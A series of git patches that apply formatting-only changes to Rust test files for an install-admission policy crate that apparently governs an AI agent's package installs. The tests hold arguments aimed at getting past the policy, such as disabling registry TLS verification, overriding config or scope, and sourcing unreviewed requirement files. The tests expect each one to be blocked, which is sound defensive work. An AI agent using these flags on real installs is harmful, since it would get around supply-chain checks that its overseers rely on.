InstallIntent) { actor_id: "agent:wardnet:admission".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), - argv: vec![executable.to_string(), "pull".to_string(), artifact_argument], + argv: vec![ + executable.to_string(), + "pull".to_string(), + artifact_argument, + ], manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs index 60713388..e4871af9 100644 --- a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -4,16 +4,13 @@ use wardnet_agent_artifact_admission::{ }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn caller_selected_platform_is_not_authorized_by_an_index_digest() { let (policy, mut intent) = approved_oci_pull("docker"); - intent - .argv - .insert(2, "--platform=linux/arm64".to_string()); + intent.argv.insert(2, "--platform=linux/arm64".to_string()); let decision = admission_decision(&policy, &intent); @@ -30,9 +27,7 @@ fn caller_selected_platform_is_not_authorized_by_an_index_digest() { #[test] fn podman_platform_selection_is_bound_by_the_same_oci_policy() { let (policy, mut intent) = approved_oci_pull("podman"); - intent - .argv - .insert(2, "--platform=linux/amd64".to_string()); + intent.argv.insert(2, "--platform=linux/amd64".to_string()); let decision = admission_decision(&policy, &intent); @@ -92,9 +87,7 @@ fn separated_platform_value_does_not_duplicate_artifact_reason() { fn non_pull_oci_command_remains_owned_by_the_existing_command_guard() { let (policy, mut intent) = approved_oci_pull("docker"); intent.argv[1] = "push".to_string(); - intent - .argv - .insert(2, "--platform=linux/arm64".to_string()); + intent.argv.insert(2, "--platform=linux/arm64".to_string()); let decision = admission_decision(&policy, &intent); @@ -167,7 +160,11 @@ fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { actor_id: "agent:wardnet:admission".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), - argv: vec![executable.to_string(), "pull".to_string(), artifact_argument], + argv: vec![ + executable.to_string(), + "pull".to_string(), + artifact_argument, + ], manifest_sha256: MANIFEST_DIGEST.to_string(), source: InstructionSource { kind: InstructionSourceKind::ReviewedConfig, diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs index df14630f..d827b1a6 100644 --- a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -4,17 +4,14 @@ use wardnet_agent_artifact_admission::{ }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn podman_cannot_disable_registry_tls_verification() { for disabled in ["false", "FALSE", "f", "0"] { let (policy, mut intent) = approved_podman_pull(); - intent - .argv - .insert(2, format!("--tls-verify={disabled}")); + intent.argv.insert(2, format!("--tls-verify={disabled}")); let decision = admission_decision(&policy, &intent); From d34abc3563883c7f4f985f2f1ba3425aa386426a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:15:47 +0900 Subject: [PATCH 238/702] style(admission): format Bun and DDD contracts --- .../tests/bun_scope_escape_contract.rs | 22 ++++++++++--------- .../tests/bun_trust_authority_contract.rs | 6 ++--- .../tests/ddd_architecture_contract.rs | 5 ++++- 3 files changed, 18 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs index 058542e3..8e05d0fa 100644 --- a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -15,9 +15,11 @@ fn bun_working_directory_and_filter_cannot_escape_the_broker_selected_scope() { ] { let label = scope_arguments.join(" "); let (policy, mut intent) = bun_install_case(); - intent - .argv - .extend(scope_arguments.into_iter().map(|argument| argument.to_string())); + intent.argv.extend( + scope_arguments + .into_iter() + .map(|argument| argument.to_string()), + ); let decision = admission_decision(&policy, &intent); @@ -44,9 +46,11 @@ fn bun_explicit_config_cannot_replace_the_reviewed_registry_context() { ] { let label = config_arguments.join(" "); let (policy, mut intent) = bun_install_case(); - intent - .argv - .extend(config_arguments.into_iter().map(|argument| argument.to_string())); + intent.argv.extend( + config_arguments + .into_iter() + .map(|argument| argument.to_string()), + ); let decision = admission_decision(&policy, &intent); @@ -73,8 +77,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -83,8 +86,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["bun".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs index c913062d..2d16a523 100644 --- a/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/bun_trust_authority_contract.rs @@ -32,8 +32,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -42,8 +41,7 @@ fn bun_install_case() -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["bun".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index eaaa35b0..fb750c62 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -10,7 +10,10 @@ const DOMAIN_SOURCES: &[(&str, &str)] = &[ "artifact_source_identity.rs", include_str!("../src/artifact_source_identity.rs"), ), - ("artifact_variant.rs", include_str!("../src/artifact_variant.rs")), + ( + "artifact_variant.rs", + include_str!("../src/artifact_variant.rs"), + ), ("oci_transport.rs", include_str!("../src/oci_transport.rs")), ("policy.rs", include_str!("../src/policy.rs")), ]; From 6ea20f5fd8a021c563eb102fcd9839d44c71080f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:17:42 +0900 Subject: [PATCH 239/702] style(admission): format npm security contracts --- .../tests/npm_artifact_source_identity_contract.rs | 6 ++---- .../tests/npm_config_override_contract.rs | 6 ++---- .../tests/npm_dependency_cardinality_contract.rs | 6 ++---- .../tests/npm_tls_trust_contract.rs | 6 ++---- 4 files changed, 8 insertions(+), 16 deletions(-) diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs index 3b623074..c98aa18f 100644 --- a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -4,10 +4,8 @@ use wardnet_agent_artifact_admission::{ validate_service_config, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const PACKAGE_NAME: &str = "@cwl/example"; const PACKAGE_VERSION: &str = "1.2.3"; const REGISTRY_URL: &str = "https://registry.npmjs.org"; diff --git a/crates/agent-artifact-admission/tests/npm_config_override_contract.rs b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs index 55a7eb74..234c2753 100644 --- a/crates/agent-artifact-admission/tests/npm_config_override_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_config_override_contract.rs @@ -34,8 +34,7 @@ fn npm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -44,8 +43,7 @@ fn npm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["npm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs index 0494138a..ef82ad47 100644 --- a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_DIGEST: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const ARTIFACT_ARGUMENT: &str = "@cwl/example@1.2.3"; #[test] diff --git a/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs index 2bc439bb..f64b2fd1 100644 --- a/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_tls_trust_contract.rs @@ -35,8 +35,7 @@ fn npm_case(trust_argument: &str) -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -45,8 +44,7 @@ fn npm_case(trust_argument: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["npm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From 45d14cd5bbfd172440e706ea1819763032493897 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 20:21:38 +0900 Subject: [PATCH 240/702] style(admission): format pnpm and PyPI contracts --- .../tests/pnpm_config_override_contract.rs | 6 ++---- .../tests/pnpm_pnpmfile_contract.rs | 6 ++---- .../tests/pnpm_scope_escape_contract.rs | 6 ++---- .../tests/pypi_artifact_source_identity_contract.rs | 6 ++---- .../tests/pypi_artifact_variant_contract.rs | 3 +-- .../tests/pypi_dependency_cardinality_contract.rs | 11 ++++++----- .../tests/yarn_workspace_root_contract.rs | 6 ++---- 7 files changed, 17 insertions(+), 27 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs index fa1fc524..60411e39 100644 --- a/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_config_override_contract.rs @@ -35,8 +35,7 @@ fn pnpm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -45,8 +44,7 @@ fn pnpm_case(config_argument: &str) -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["pnpm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs index 87baf1ab..cfc7c611 100644 --- a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs @@ -47,8 +47,7 @@ fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -57,8 +56,7 @@ fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { allowed_executables: vec!["pnpm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs index 703c3010..ac72340a 100644 --- a/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_scope_escape_contract.rs @@ -40,8 +40,7 @@ fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, Strin version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "@cwl/example@1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -50,8 +49,7 @@ fn pnpm_case(scope_arguments: &[&str]) -> (AdmissionPolicy, InstallIntent, Strin allowed_executables: vec!["pnpm".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index fece97eb..d11b84e6 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -4,10 +4,8 @@ use wardnet_agent_artifact_admission::{ validate_service_config, }; -const MANIFEST_SHA256: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; -const ARTIFACT_SHA256: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; const PACKAGE_NAME: &str = "example-package"; const PACKAGE_VERSION: &str = "1.2.3"; const REGISTRY_URL: &str = "https://pypi.org/simple"; diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index f6258a12..45281c2d 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -4,8 +4,7 @@ use wardnet_agent_artifact_admission::{ }; const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const PACKAGE_NAME: &str = "example-package"; const PACKAGE_VERSION: &str = "1.2.3"; diff --git a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs index f1c0e625..85c4ed17 100644 --- a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs @@ -3,10 +3,8 @@ use wardnet_agent_artifact_admission::{ InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, }; -const ARTIFACT_DIGEST: &str = - "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; -const MANIFEST_DIGEST: &str = - "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; #[test] @@ -43,7 +41,10 @@ fn pypi_install_with_no_deps_preserves_the_reviewed_artifact_cardinality() { } } -fn approved_pypi_install(executable: &str, include_no_deps: bool) -> (AdmissionPolicy, InstallIntent) { +fn approved_pypi_install( + executable: &str, + include_no_deps: bool, +) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), name: "cwl-example".to_string(), diff --git a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs index 3b2f06af..d606f6bf 100644 --- a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs +++ b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs @@ -13,8 +13,7 @@ fn yarn_classic_workspace_root_escape_flags_fail_closed() { version: "1.2.3".to_string(), registry_url: "https://registry.npmjs.org".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { @@ -23,8 +22,7 @@ fn yarn_classic_workspace_root_escape_flags_fail_closed() { allowed_executables: vec!["yarn".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From f46b0685375ea9eb1f4061ba283b25d2a0815468 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:13:07 +0900 Subject: [PATCH 241/702] style(admission): format indirect artifact source tests --- .../indirect_artifact_source_contract.rs | 57 +++++++++++++++---- 1 file changed, 47 insertions(+), 10 deletions(-) diff --git a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs index 63541d42..ff68d4a0 100644 --- a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs +++ b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs @@ -8,7 +8,13 @@ fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() let cases: &[(&str, &[&str])] = &[ ( "pip", - &["install", "cwl-example==1.2.3", "--require-hashes", "-r", "requirements.txt"], + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-r", + "requirements.txt", + ], ), ( "pip3", @@ -21,7 +27,13 @@ fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() ), ( "pip", - &["install", "cwl-example==1.2.3", "--require-hashes", "-e", "./unreviewed"], + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-e", + "./unreviewed", + ], ), ( "pip3", @@ -51,7 +63,14 @@ fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() #[test] fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths() { let cases: &[&[&str]] = &[ - &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "-r", "requirements.txt"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-r", + "requirements.txt", + ], &[ "pip", "install", @@ -59,7 +78,14 @@ fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths "--require-hashes", "--requirements=requirements.txt", ], - &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "-e", "./unreviewed"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "-e", + "./unreviewed", + ], &[ "pip", "install", @@ -67,8 +93,21 @@ fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths "--require-hashes", "--editable=./unreviewed", ], - &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group", "unreviewed"], - &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group=unreviewed"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--group", + "unreviewed", + ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--group=unreviewed", + ], &[ "pip", "install", @@ -101,8 +140,7 @@ fn assert_indirect_source_blocked(executable: &str, arguments: &[&str]) { version: "1.2.3".to_string(), registry_url: "https://pypi.org/simple".to_string(), owner: "ContextualWisdomLab".to_string(), - sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" - .to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), artifact_argument: "cwl-example==1.2.3".to_string(), }; let policy = AdmissionPolicy { @@ -111,8 +149,7 @@ fn assert_indirect_source_blocked(executable: &str, arguments: &[&str]) { allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), - sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" - .to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }], approved_artifacts: vec![ApprovedArtifact { ecosystem: artifact.ecosystem.clone(), From 24a57485cb39d1620e79a8863af2c8a580b919e2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:14:09 +0900 Subject: [PATCH 242/702] style(admission): format npm source identity test --- .../tests/npm_artifact_source_identity_contract.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs index c98aa18f..3f5335dc 100644 --- a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -1,7 +1,7 @@ use wardnet_agent_artifact_admission::{ - AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, - DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, - validate_service_config, + AdmissionPolicy, AdmissionServiceConfig, ApprovedArtifact, ApprovedManifest, + ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSource, InstructionSourceKind, + admission_decision, validate_service_config, }; const MANIFEST_SHA256: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; From 379e6e15066792dd75897fc96b1078cfef5e53cc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 6 Sep 2026 01:14:31 +0900 Subject: [PATCH 243/702] style(admission): format PyPI source identity test --- .../tests/pypi_artifact_source_identity_contract.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs index d11b84e6..f9f21cd3 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_source_identity_contract.rs @@ -1,7 +1,7 @@ use wardnet_agent_artifact_admission::{ - 